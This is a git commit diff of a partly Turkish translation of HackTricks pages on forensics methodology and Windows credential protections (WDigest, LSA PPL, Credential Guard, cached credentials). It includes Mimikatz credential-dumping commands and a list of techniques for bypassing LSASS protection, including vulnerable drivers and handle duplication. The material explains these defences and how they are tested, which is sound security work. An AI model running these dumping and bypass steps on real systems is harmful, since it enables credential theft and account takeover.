Translated ['src/windows-hardening/stealing-credentials/credentials-prot

This commit is contained in:
Translator 2025-08-26 22:11:14 +00:00
parent daae1f28ea
commit 5f73b850e0
3 changed files with 223 additions and 114 deletions

View File

@ -9,18 +9,18 @@
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Malware Analysis
## Malware Analizi
Bu **imajı elde ettikten sonra yapılması gereken ilk adım olmak zorunda değil**. Ancak bir dosyanız, bir dosya-sistemi imajı, bellek imajı, pcap... varsa bu malware analysis tekniklerini bağımsız olarak kullanabilirsiniz; bu yüzden bu eylemleri **akılda tutmak** iyidir:
Bu, imaja sahip olduğunuzda yapılması gereken ilk adım olmak zorunda değildir. Ancak bir dosyanız, bir dosya-sistemi imajınız, bellek imajınız, pcap... varsa bu malware analiz tekniklerini bağımsız olarak kullanabilirsiniz; bu eylemleri aklınızda bulundurmak iyidir:
{{#ref}}
malware-analysis.md
{{#endref}}
## İmajı İnceleme
## Bir İmajı İnceleme
Eğer size bir cihazın **adli imajı** verildiyse, kullanılan **bölümleri, dosya sistemi**ni **analiz etmeye** ve potansiyel olarak **ilginç dosyaları** (hatta silinmiş olanları) **kurtarmaya** başlayabilirsiniz. Nasıl yapılacağını öğrenin:
Eğer bir cihazın bir adli imajı size verildiyse, bölümleri, kullanılan dosya sistemini analiz etmeye ve potansiyel olarak ilginç dosyaları (silinmiş olanlar dahi) kurtarmaya başlayabilirsiniz. Nasıl yapılacağını şu sayfalarda öğrenin:
{{#ref}}
@ -36,25 +36,25 @@ partitions-file-systems-carving/
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Malware Analysis
## Malware Analizi
Bu **imajı elde ettikten sonra yapılması gereken ilk adım olmak zorunda değil**. Ancak bir dosyanız, bir dosya-sistemi imajı, bellek imajı, pcap... varsa bu malware analysis tekniklerini bağımsız olarak kullanabilirsiniz; bu yüzden bu eylemleri **akılda tutmak** iyidir:
Bu, imaja sahip olduğunuzda yapılması gereken ilk adım olmak zorunda değildir. Ancak bir dosyanız, bir dosya-sistemi imajınız, bellek imajınız, pcap... varsa bu malware analiz tekniklerini bağımsız olarak kullanabilirsiniz; bu eylemleri aklınızda bulundurmak iyidir:
{{#ref}}
malware-analysis.md
{{#endref}}
## İmajı İnceleme
## Bir İmajı İnceleme
Eğer size bir cihazın **adli imajı** verildiyse, kullanılan **bölümleri, dosya sistemi**ni **analiz etmeye** ve potansiyel olarak **ilginç dosyaları** (hatta silinmiş olanları) **kurtarmaya** başlayabilirsiniz. Nasıl yapılacağını öğrenin:
Eğer bir cihazın bir adli imajı size verildiyse, bölümleri, kullanılan dosya sistemini analiz etmeye ve potansiyel olarak ilginç dosyaları (silinmiş olanlar dahi) kurtarmaya başlayabilirsiniz. Nasıl yapılacağını şu sayfalarda öğrenin:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır:
Kullanılan işletim sistemine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır:
{{#ref}}
@ -76,17 +76,17 @@ docker-forensics.md
ios-backup-forensics.md
{{#endref}}
## Belirli Dosya Türleri ve Yazılımların Derin İncelenmesi
## Belirli dosya türleri ve yazılımların derin incelemesi
Eğer çok **şüpheli** bir **dosyanız** varsa, onu oluşturan **dosya tipi ve yazılıma** bağlı olarak birkaç **püf noktası** faydalı olabilir.\
Bazı ilginç püf noktalarını öğrenmek için aşağıdaki sayfayı okuyun:
Eğer çok **şüpheli** bir **dosyanız** varsa, bu dosya türüne ve onu oluşturan yazılıma bağlı olarak çeşitli **püf noktaları** faydalı olabilir.\
İlginç bazı yöntemleri öğrenmek için şu sayfayı okuyun:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Özellikle şu sayfaya değinmek istiyorum:
Özellikle şu sayfayı vurgulamak istiyorum:
{{#ref}}
@ -107,69 +107,69 @@ memory-dump-analysis/
pcap-inspection/
{{#endref}}
## **Anti-Adli Teknikler**
## **Anti-Forensic Techniques**
Anti-adli tekniklerin olası kullanımını aklınızda bulundurun:
anti-forensic techniques kullanımını göz önünde bulundurun:
{{#ref}}
anti-forensic-techniques.md
{{#endref}
{{#endref}}
## Tehdit Avcılığı
## Threat Hunting
{{#ref}}
file-integrity-monitoring.md
{{#endref}
{{#endref}}
## Belirli Dosya Türleri ve Yazılımların Derin İncelenmesi
## Belirli dosya türleri ve yazılımların derin incelemesi
Eğer çok **şüpheli** bir **dosyanız** varsa, onu oluşturan **dosya tipi ve yazılıma** bağlı olarak birkaç **püf noktası** faydalı olabilir.\
Bazı ilginç püf noktalarını öğrenmek için aşağıdaki sayfayı okuyun:
Eğer çok **şüpheli** bir **dosyanız** varsa, bu dosya türüne ve onu oluşturan yazılıma bağlı olarak çeşitli **püf noktaları** faydalı olabilir.\
İlginç bazı yöntemleri öğrenmek için şu sayfayı okuyun:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Özellikle şu sayfaya değinmek istiyorum:
Özellikle şu sayfayı vurgulamak istiyorum:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}
{{#endref}}
## Bellek Dökümü İncelemesi
{{#ref}}
memory-dump-analysis/
{{#endref}
{{#endref}}
## Pcap İncelemesi
{{#ref}}
pcap-inspection/
{{#endref}
{{#endref}}
## **Anti-Adli Teknikler**
## **Anti-Forensic Techniques**
Anti-adli tekniklerin olası kullanımını aklınızda bulundurun:
anti-forensic techniques kullanımını göz önünde bulundurun:
{{#ref}}
anti-forensic-techniques.md
{{#endref}
{{#endref}}
## Tehdit Avcılığı
## Threat Hunting
{{#ref}}
file-integrity-monitoring.md
{{#endref}
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,135 +1,200 @@
# Windows Credentials Protections
# Windows Kimlik Bilgileri Korumaları
{{#include ../../banners/hacktricks-training.md}}
## WDigest
[WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) düz metin şifre depolamasına** yol açar. Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir:
[WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protokolü, Windows XP ile tanıtılmış olup HTTP Protocolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkinleştirilmiştir**. Bu varsayılan ayar, LSASS içinde **düz metin parola depolanmasına** yol açar (Yerel Güvenlik Yetkilisi Alt Sistem Hizmeti). Bir saldırgan, Mimikatz kullanarak bu kimlik bilgilerini **çıkarabilir**; şu komutu çalıştırarak:
```bash
sekurlsa::wdigest
```
Bu özelliği **açmak veya kapatmak için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlandıysa**, WDigest **devre dışı**dır:
**bu özelliği kapatmak veya açmak** için, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarlarının _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ altında "1" olarak ayarlanması gerekir. Bu anahtarlar **yoksa veya "0" olarak ayarlanmışsa**, WDigest **devre dışıdır**:
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```
## LSA Koruması (PP & PPL korumalı süreçler)
**Korunan Süreç (PP)** ve **Korunan Süreç Işık (PPL)**, **yetkisiz erişimi önlemek** için tasarlanmış **Windows çekirdek düzeyinde korumalar**dır. **LSASS** gibi hassas süreçlere. **Windows Vista** ile tanıtılan **PP modeli**, başlangıçta **DRM** uygulaması için oluşturulmuş ve yalnızca **özel medya sertifikası** ile imzalanmış ikili dosyaların korunmasına izin vermiştir. **PP** olarak işaretlenmiş bir süreç, yalnızca **aynı zamanda PP olan** ve **eşit veya daha yüksek koruma seviyesine** sahip diğer süreçler tarafından erişilebilir ve bu durumda bile, **özel olarak izin verilmedikçe** yalnızca sınırlı erişim haklarıyla erişilebilir.
**Protected Process (PP)** ve **Protected Process Light (PPL)**, **LSASS** gibi hassas süreçlere yetkisiz erişimi önlemek için tasarlanmış **Windows çekirdek düzeyi korumalarıdır**. **Windows Vista**'da tanıtılan **PP modeli**, başlangıçta **DRM** uygulaması için oluşturulmuştu ve yalnızca özel bir medya sertifikasıyla imzalanmış ikili dosyaların korunmasına izin veriyordu. **PP** olarak işaretlenmiş bir sürece yalnızca **ayrıca PP olan** ve **eşit veya daha yüksek koruma düzeyine** sahip diğer süreçler erişebilir; üstelik izin verilmediği sürece erişim hakları **sınırlıdır**.
**PPL**, **Windows 8.1** ile tanıtılmıştır ve PP'nin daha esnek bir versiyonudur. **Daha geniş kullanım senaryolarına** (örneğin, LSASS, Defender) izin verir ve **dijital imzanın EKU (Gelişmiş Anahtar Kullanımı)** alanına dayalı **"koruma seviyeleri"** tanıtır. Koruma seviyesi, `EPROCESS.Protection` alanında saklanır; bu, aşağıdaki özelliklere sahip bir `PS_PROTECTION` yapısıdır:
- **Tür** (`Korunan` veya `KorunanIşık`)
- **İmzalayan** (örneğin, `WinTcb`, `Lsa`, `Antimalware` vb.)
**PPL**, **Windows 8.1**'de tanıtıldı ve PP'nin daha esnek bir sürümüdür. **LSASS, Defender** gibi daha geniş kullanım senaryolarına izin vermek için dijital imzanın **EKU (Enhanced Key Usage)** alanına dayalı **"koruma seviyeleri"** getirir. Koruma düzeyi `EPROCESS.Protection` alanında saklanır; bu alan `PS_PROTECTION` yapısıdır ve şunları içerir:
- **Type** (`Protected` veya `ProtectedLight`)
- **Signer** (ör. `WinTcb`, `Lsa`, `Antimalware`, vb.)
Bu yapı tek bir bayta paketlenmiştir ve **kimin kime erişebileceğini** belirler:
- **Daha yüksek imzalayan değerler, daha düşük olanlara erişebilir**
- **Daha yüksek signer değerleri daha düşük olanlara erişebilir**
- **PPL'ler PP'lere erişemez**
- **Korumasız süreçler, herhangi bir PPL/PP'ye erişemez**
- **Korumasız süreçler hiçbir PPL/PP'ye erişemez**
### Saldırgan bir perspektiften bilmeniz gerekenler
### Saldırgan bakış açısından bilmeniz gerekenler
- **LSASS PPL olarak çalıştığında**, normal bir yönetici bağlamından `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` kullanarak açma girişimleri **`0x5 (Erişim Reddedildi)`** ile başarısız olur, `SeDebugPrivilege` etkin olsa bile.
- **LSASS koruma seviyesini** Process Hacker gibi araçlarla veya `EPROCESS.Protection` değerini okuyarak programatik olarak kontrol edebilirsiniz.
- LSASS genellikle `PsProtectedSignerLsa-Light` (`0x41`) değerine sahip olacaktır; bu, yalnızca `WinTcb` (`0x61` veya `0x62`) gibi daha yüksek seviyeli bir imzalayan ile imzalanmış süreçler tarafından erişilebilir.
- PPL, **sadece Kullanıcı Alanı kısıtlamasıdır**; **çekirdek düzeyindeki kod bunu tamamen atlayabilir**.
- LSASS'in PPL olması, **çekirdek shellcode'u çalıştırabilirseniz** veya **uygun erişime sahip yüksek ayrıcalıklı bir süreci kullanabilirseniz** kimlik bilgisi dökümünü **önlemez**.
- **PPL ayarlamak veya kaldırmak**, yeniden başlatma veya **Güvenli Önyükleme/UEFI ayarları** gerektirir; bu, kayıt defteri değişiklikleri geri alındıktan sonra bile PPL ayarını sürdürebilir.
- **LSASS PPL olarak çalıştığında**, normal bir admin bağlamından `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` ile açma girişimleri, `SeDebugPrivilege` etkin olsa bile **`0x5 (Access Denied)` ile başarısız olur**.
- `EPROCESS.Protection` değerini okuyarak veya Process Hacker gibi araçlarla **LSASS koruma düzeyini** kontrol edebilirsiniz.
- LSASS genellikle `PsProtectedSignerLsa-Light` (`0x41`) olur; bu yalnızca `WinTcb` (`0x61` veya `0x62`) gibi daha yüksek düzeyli bir signer ile imzalanmış süreçler tarafından erişilebilir.
- PPL, **yalnızca userland seviyesinde bir kısıtlamadır**; **çekirdek düzeyi kodu bunu tamamen aşabilir**.
- LSASS'in PPL olması, eğer kernel shellcode çalıştırabiliyor veya uygun erişime sahip yüksek yetkili bir süreci kullanabiliyorsanız **credential dumping'i engellemez**.
- PPL'in ayarlanması veya kaldırılması genellikle yeniden başlatma veya **Secure Boot/UEFI** ayarları gerektirir; bu, kayıt defteri değişiklikleri geri alınsa bile PPL ayarının kalıcı olmasına neden olabilir.
**PPL koruma seçeneklerini atlama:**
### Başlangıçta PPL süreci oluşturma (belgelendirilmiş API)
PPL'ye rağmen LSASS'i dökmek istiyorsanız, 3 ana seçeneğiniz var:
1. **LSASS'in koruma bayrağını kaldırmak için imzalı bir çekirdek sürücüsü (örneğin, Mimikatz + mimidrv.sys)** kullanın:
Windows, genişletilmiş startup attribute listesi kullanarak çocuk süreç oluşturulurken Protected Process Light seviyesi talep etmek için belgelendirilmiş bir yol sunar. Bu, imzalama gereksinimlerini baypas etmez — hedef imaj, istenen signer sınıfı için imzalanmış olmalıdır.
C/C++ için minimal akış:
```c
// Request a PPL protection level for the child process at creation time
// Requires Windows 8.1+ and a properly signed image for the selected level
#include <windows.h>
int wmain(int argc, wchar_t **argv) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
if (!si.lpAttributeList) return 1;
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
if (!UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&level, sizeof(level), NULL, NULL)) {
return 1;
}
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
flags, NULL, NULL, &si.StartupInfo, &pi)) {
// If the image isn't signed appropriately for the requested level,
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
return 1;
}
// cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Notes and constraints:
- `STARTUPINFOEX` ile `InitializeProcThreadAttributeList` ve `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)` kullanın, sonra `CreateProcess*`'e `EXTENDED_STARTUPINFO_PRESENT` iletiniz.
- Koruma `DWORD`'u `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` veya `PROTECTION_LEVEL_LSA_LIGHT` gibi sabitlere ayarlanabilir.
- Child ancak imajı o signer sınıfı için imzalıysa PPL olarak başlar; aksi takdirde process oluşturma başarısız olur, genelde `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)` ile.
- Bu bir bypass değil — uygun şekilde imzalanmış imajlar için tasarlanmış desteklenen bir API'dir. Araçları güçlendirmek veya PPL korumalı yapılandırmaları doğrulamak için faydalıdır.
Example CLI using a minimal loader:
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
**Bypass PPL protections options:**
If you want to dump LSASS despite PPL, you have 3 main options:
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASSs protection flag**:
![](../../images/mimidrv.png)
2. **Kendi Zayıf Sürücünüzü (BYOVD)** getirerek özel çekirdek kodu çalıştırın ve korumayı devre dışı bırakın. **PPLKiller**, **gdrv-loader** veya **kdmapper** gibi araçlar bunu mümkün kılar.
3. **Açık bir LSASS tanıtıcısını** başka bir süreçten çalın (örneğin, bir AV süreci), ardından bunu **sürecinize kopyalayın**. Bu, `pypykatz live lsa --method handledup` tekniğinin temelidir.
4. **Herhangi bir ayrıcalıklı süreci** kötüye kullanarak, onun adres alanına veya başka bir ayrıcalıklı sürecin içine rastgele kod yüklemenize izin verin; bu, PPL kısıtlamalarını etkili bir şekilde atlatır. Bunu [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) veya [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) adresinde bir örneğini kontrol edebilirsiniz.
2. **Bring Your Own Vulnerable Driver (BYOVD)** to run custom kernel code and disable the protection. Tools like **PPLKiller**, **gdrv-loader**, or **kdmapper** make this feasible.
3. **Steal an existing LSASS handle** from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique.
4. **Abuse some privileged process** that will allow you to load arbitrary code into its address space or inside another privileged process, effectively bypassing the PPL restrictions. You can check an example of this in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
**LSASS için LSA koruma (PPL/PP) mevcut durumunu kontrol edin**:
**Check current status of LSA protection (PPL/PP) for LSASS**:
```bash
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
```
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` because of this.
- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
- Bu kontrol hakkında daha fazla bilgi için [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
## Credential Guard
**Credential Guard**, yalnızca **Windows 10 (Enterprise ve Education sürümleri)** için özel bir özellik, makine kimlik bilgilerinin güvenliğini **Virtual Secure Mode (VSM)** ve **Virtualization Based Security (VBS)** kullanarak artırır. CPU sanallaştırma uzantılarını kullanarak, ana işletim sisteminin erişiminden uzak, korumalı bir bellek alanında anahtar süreçleri izole eder. Bu izolasyon, çekirdek bile VSM'deki belleğe erişemediğinden, kimlik bilgilerini **pass-the-hash** gibi saldırılardan etkili bir şekilde korur. **Local Security Authority (LSA)** bu güvenli ortamda bir trustlet olarak çalışırken, ana işletim sistemindeki **LSASS** süreci yalnızca VSM'nin LSA'sı ile iletişim kuran bir aracı olarak işlev görür.
**Credential Guard**, a feature exclusive to **Windows 10 (Enterprise and Education editions)**, makine kimlik bilgilerini **Virtual Secure Mode (VSM)** ve **Virtualization Based Security (VBS)** kullanarak daha güvenli hale getirir. CPU sanallaştırma uzantılarını kullanarak, ana işletim sisteminin erişim alanının dışında korumalı bir bellek alanında kritik süreçleri izole eder. Bu izolasyon, kernel'in bile VSM içindeki belleğe erişememesini sağlar ve böylece kimlik bilgilerini **pass-the-hash** gibi saldırılardan etkin şekilde korur. **Local Security Authority (LSA)** bu güvenli ortam içinde bir trustlet olarak çalışırken, ana OS içindeki **LSASS** süreci yalnızca VSM'deki LSA ile iletişim kuran bir aracıdır.
Varsayılan olarak, **Credential Guard** etkin değildir ve bir organizasyon içinde manuel olarak etkinleştirilmesi gerekir. **Mimikatz** gibi araçlara karşı güvenliği artırmak için kritik öneme sahiptir; bu araçlar, kimlik bilgilerini çıkarmada kısıtlanır. Ancak, özel **Security Support Providers (SSP)** eklenerek kimlik bilgilerini açık metin olarak yakalamak için hala güvenlik açıkları istismar edilebilir.
Varsayılan olarak **Credential Guard** etkin değildir ve kurum içi olarak manuel etkinleştirme gerektirir. **Mimikatz** gibi araçlara karşı güvenliği artırmada kritik öneme sahiptir; bu araçların kimlik bilgilerini çıkarması büyük ölçüde zorlaşır. Ancak, oturum açma sırasında kimlik bilgilerini açık metin olarak yakalamak için özel **Security Support Providers (SSP)** eklenmesi yoluyla hâlâ zafiyetler kullanılabilir.
**Credential Guard**'ın etkinlik durumunu doğrulamak için, _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki kayıt defteri anahtarı _**LsaCfgFlags**_ incelenebilir. "**1**" değeri, **UEFI kilidi** ile etkinleştirildiğini, "**2**" kilitsiz olduğunu ve "**0**" ise etkinleştirilmediğini gösterir. Bu kayıt defteri kontrolü, güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmek için ayrıntılı kılavuz ve bir PowerShell betiği çevrimiçi olarak mevcuttur.
**Credential Guard**'ın etkinlik durumunu doğrulamak için _**LsaCfgFlags**_ anahtarına ve _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki değere bakılabilir. "**1**" değeri **UEFI lock** ile etkinleştirildiğini, "**2**" kilit olmadan etkinleştirildiğini ve "**0**" ise etkin olmadığını gösterir. Bu kayıt kontrolü güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmeye yönelik ayrıntılı rehberlik ve bir PowerShell script'i çevrimiçi olarak mevcuttur.
```bash
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
```
Kapsamlı bir anlayış ve **Credential Guard**'ı Windows 10'da etkinleştirme ile **Windows 11 Enterprise ve Education (sürüm 22H2)** uyumlu sistemlerde otomatik aktivasyonu hakkında talimatlar için [Microsoft'un belgelerine](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) göz atın.
For a comprehensive understanding and instructions on enabling **Credential Guard** in Windows 10 and its automatic activation in compatible systems of **Windows 11 Enterprise and Education (version 22H2)**, visit [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Kimlik bilgilerini yakalamak için özel SSP'lerin uygulanmasıyla ilgili daha fazla ayrıntı [bu kılavuzda](../active-directory-methodology/custom-ssp.md) sağlanmaktadır.
Further details on implementing custom SSPs for credential capture are provided in [this guide](../active-directory-methodology/custom-ssp.md).
## RDP RestrictedAdmin Modu
## RDP RestrictedAdmin Mode
**Windows 8.1 ve Windows Server 2012 R2**, _**RDP için Restricted Admin modu**_ dahil olmak üzere birkaç yeni güvenlik özelliği tanıttı. Bu mod, [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) saldırılarıyla ilişkili riskleri azaltarak güvenliği artırmak için tasarlanmıştır.
**Windows 8.1 and Windows Server 2012 R2** introduced several new security features, including the _**Restricted Admin mode for RDP**_. This mode was designed to enhance security by mitigating the risks associated with [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) attacks.
Geleneksel olarak, RDP aracılığıyla bir uzak bilgisayara bağlandığınızda, kimlik bilgileriniz hedef makinede saklanır. Bu, özellikle yükseltilmiş ayrıcalıklara sahip hesaplar kullanıldığında önemli bir güvenlik riski oluşturur. Ancak, _**Restricted Admin modu**_ ile bu risk önemli ölçüde azaltılmıştır.
Traditionally, when connecting to a remote computer via RDP, your credentials are stored on the target machine. This poses a significant security risk, especially when using accounts with elevated privileges. However, with the introduction of _**Restricted Admin mode**_, this risk is substantially reduced.
**mstsc.exe /RestrictedAdmin** komutunu kullanarak bir RDP bağlantısı başlatıldığında, uzak bilgisayara kimlik doğrulaması yapılırken kimlik bilgileriniz üzerinde saklanmaz. Bu yaklaşım, bir kötü amaçlı yazılım enfeksiyonu durumunda veya kötü niyetli bir kullanıcının uzak sunucuya erişim sağlaması durumunda, kimlik bilgilerinizin tehlikeye girmediğini garanti eder, çünkü sunucuda saklanmamaktadır.
When initiating an RDP connection using the command **mstsc.exe /RestrictedAdmin**, authentication to the remote computer is performed without storing your credentials on it. This approach ensures that, in the event of a malware infection or if a malicious user gains access to the remote server, your credentials are not compromised, as they are not stored on the server.
**Restricted Admin modu**'nda, RDP oturumundan ağ kaynaklarına erişim girişimleri kişisel kimlik bilgilerinizi kullanmaz; bunun yerine **makinenin kimliği** kullanılır.
It's important to note that in **Restricted Admin mode**, attempts to access network resources from the RDP session will not use your personal credentials; instead, the **machine's identity** is used.
Bu özellik, uzak masaüstü bağlantılarını güvence altına almak ve hassas bilgilerin bir güvenlik ihlali durumunda ifşa edilmesini önlemek için önemli bir adım teşkil etmektedir.
This feature marks a significant step forward in securing remote desktop connections and protecting sensitive information from being exposed in case of a security breach.
![](../../images/RAM.png)
Daha ayrıntılı bilgi için [bu kaynağa](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/) göz atın.
For more detailed information on visit [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
## Önbelleğe Alınmış Kimlik Bilgileri
## Cached Credentials
Windows, **domain kimlik bilgilerini** **Yerel Güvenlik Otoritesi (LSA)** aracılığıyla güvence altına alır ve **Kerberos** ve **NTLM** gibi güvenlik protokolleri ile oturum açma süreçlerini destekler. Windows'un önemli bir özelliği, **son on domain oturum açma** işlemini önbelleğe alma yeteneğidir; bu, kullanıcıların **domain denetleyicisi çevrimdışı olduğunda** bile bilgisayarlarına erişim sağlamalarını garanti eder—bu, sık sık şirket ağından uzakta olan dizüstü bilgisayar kullanıcıları için büyük bir avantajdır.
Windows secures **domain credentials** through the **Local Security Authority (LSA)**, supporting logon processes with security protocols like **Kerberos** and **NTLM**. A key feature of Windows is its capability to cache the **last ten domain logins** to ensure users can still access their computers even if the **domain controller is offline**—a boon for laptop users often away from their company's network.
Önbelleğe alınmış oturum açma sayısı, belirli bir **kayıt defteri anahtarı veya grup politikası** aracılığıyla ayarlanabilir. Bu ayarı görüntülemek veya değiştirmek için aşağıdaki komut kullanılır:
The number of cached logins is adjustable via a specific **registry key or group policy**. To view or change this setting, the following command is utilized:
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
Bu önbelleğe alınmış kimlik bilgilerine erişim sıkı bir şekilde kontrol edilmektedir; yalnızca **SYSTEM** hesabı bu bilgileri görüntülemek için gerekli izinlere sahiptir. Bu bilgilere erişmesi gereken yöneticiler, SYSTEM kullanıcı ayrıcalıkları ile bunu yapmalıdır. Kimlik bilgileri şu konumda saklanmaktadır: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
Access to these cached credentials is tightly controlled, with only the **SYSTEM** account having the necessary permissions to view them. Administrators needing to access this information must do so with SYSTEM user privileges. The credentials are stored at: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
**Mimikatz**, bu önbelleğe alınmış kimlik bilgilerini `lsadump::cache` komutunu kullanarak çıkarmak için kullanılabilir.
**Mimikatz** can be employed to extract these cached credentials using the command `lsadump::cache`.
Daha fazla ayrıntı için, orijinal [kaynak](http://juggernaut.wikidot.com/cached-credentials) kapsamlı bilgi sağlamaktadır.
For further details, the original [source](http://juggernaut.wikidot.com/cached-credentials) provides comprehensive information.
## Korunan Kullanıcılar
## Protected Users
**Korunan Kullanıcılar grubu** üyeliği, kullanıcılar için birkaç güvenlik geliştirmesi sunarak kimlik bilgisi hırsızlığı ve kötüye kullanıma karşı daha yüksek koruma seviyeleri sağlar:
Membership in the **Protected Users group** introduces several security enhancements for users, ensuring higher levels of protection against credential theft and misuse:
- **Kimlik Bilgisi Delegasyonu (CredSSP)**: **Varsayılan kimlik bilgilerini devretmeye izin ver** Grup Politika ayarı etkin olsa bile, Korunan Kullanıcıların düz metin kimlik bilgileri önbelleğe alınmayacaktır.
- **Windows Digest**: **Windows 8.1 ve Windows Server 2012 R2**'den itibaren, sistem Korunan Kullanıcıların düz metin kimlik bilgilerini, Windows Digest durumu ne olursa olsun önbelleğe almayacaktır.
- **NTLM**: Sistem, Korunan Kullanıcıların düz metin kimlik bilgilerini veya NT tek yönlü fonksiyonlarını (NTOWF) önbelleğe almayacaktır.
- **Kerberos**: Korunan Kullanıcılar için, Kerberos kimlik doğrulaması **DES** veya **RC4 anahtarları** oluşturmayacak, ayrıca düz metin kimlik bilgilerini veya ilk Ticket-Granting Ticket (TGT) edinimi sonrasında uzun vadeli anahtarları önbelleğe almayacaktır.
- **Çevrimdışı Giriş**: Korunan Kullanıcılar, giriş veya kilidi açma sırasında önbelleğe alınmış bir doğrulayıcı oluşturulmayacak, bu da bu hesaplar için çevrimdışı girişin desteklenmediği anlamına gelmektedir.
- **Credential Delegation (CredSSP)**: Even if the Group Policy setting for **Allow delegating default credentials** is enabled, plain text credentials of Protected Users will not be cached.
- **Windows Digest**: Starting from **Windows 8.1 and Windows Server 2012 R2**, the system will not cache plain text credentials of Protected Users, regardless of the Windows Digest status.
- **NTLM**: The system will not cache Protected Users' plain text credentials or NT one-way functions (NTOWF).
